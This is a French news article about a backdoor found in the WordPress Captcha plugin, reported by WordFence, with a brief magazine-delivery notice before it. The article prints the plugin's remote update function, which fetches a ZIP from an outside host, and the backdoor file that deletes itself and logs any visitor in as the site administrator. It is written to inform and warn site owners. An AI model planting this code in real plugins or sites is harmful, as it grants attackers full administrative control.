Programmez! #240 est en kiosque

En raison de la situation de redressement judiciaire de Presstalis qui s'est superposée à la crise sanitaire covid-19, la sortie dans les kiosques de  Programmez! #240 a été profondément perturbée.

Mais ça y est, il arrive ! Vous le trouverez chez votre marchand de journaux ce mercredi 27 mai !

Il est malgré tout possible qu'il ait encore quelque jours de retard dans quelques régions.

Une porte dérobée dans le plugin WordPress Captcha !

Par:
fredericmazue

mer, 20/12/2017 - 15:27

Récemment, le plugin Captcha a été supprimé du référentiel de plugins par l'équipe de WordPress, avant d'être remplacé par une version propre. Voici pourquoi.

Chaque fois que le dépôt WordPress supprime un plugin avec une grande base d'utilisateurs, nous vérifions si cela est lié à la sécurité, explique WordFence dans le billet qui détaille l'affaire. Pour mémoire, WordFence édite des plugins de sécurité pour le CMS WordPress.

Et c'était bien le cas pour le plugin Captcha qui totalise au moins 300 000 installations actives.

L'équipe de WordFence y a découvert ce code :

function cptch_wp_plugin_auto_update()
{
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path = 'https://simplywordpress[dot]net/captcha/captcha_pro_update.php';

    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

Ce code traite la mise à jour du plugin et télécharge un fichier ZIP à partir de https://simplywordpress[dot]net, site de la société éditrice de Captcha depuis que l'éditeur original BestWebSoft lui a cédé.  Dans le fichier ZIP se trouvait notamment le fichier plugin-update.php contenant ce code :

@unlink(__FILE__);

require('../../../wp-blog-header.php');require('../../../wp-includes/pluggable.php');

$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );
 
   $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}

Ce code n'est ni plus ni moins qu'une porte dérobée qui crée une session pour l'utilisateur 1 c'est-à-dire l'administrateur par défaut créé par défaut lors de l'installation de WordPress.

N'importe qui pouvant exécuter ce code qui ne nécessite pas d'authentification, n'importe qui pouvait obtenir tous les droit administrateur des sites WordPress avec le plugin Captcha installé...

Responsables de sites, mettez à jour Captcha sans attendre, si la mise à jour automatique n'est pas activée sur vos WordPress.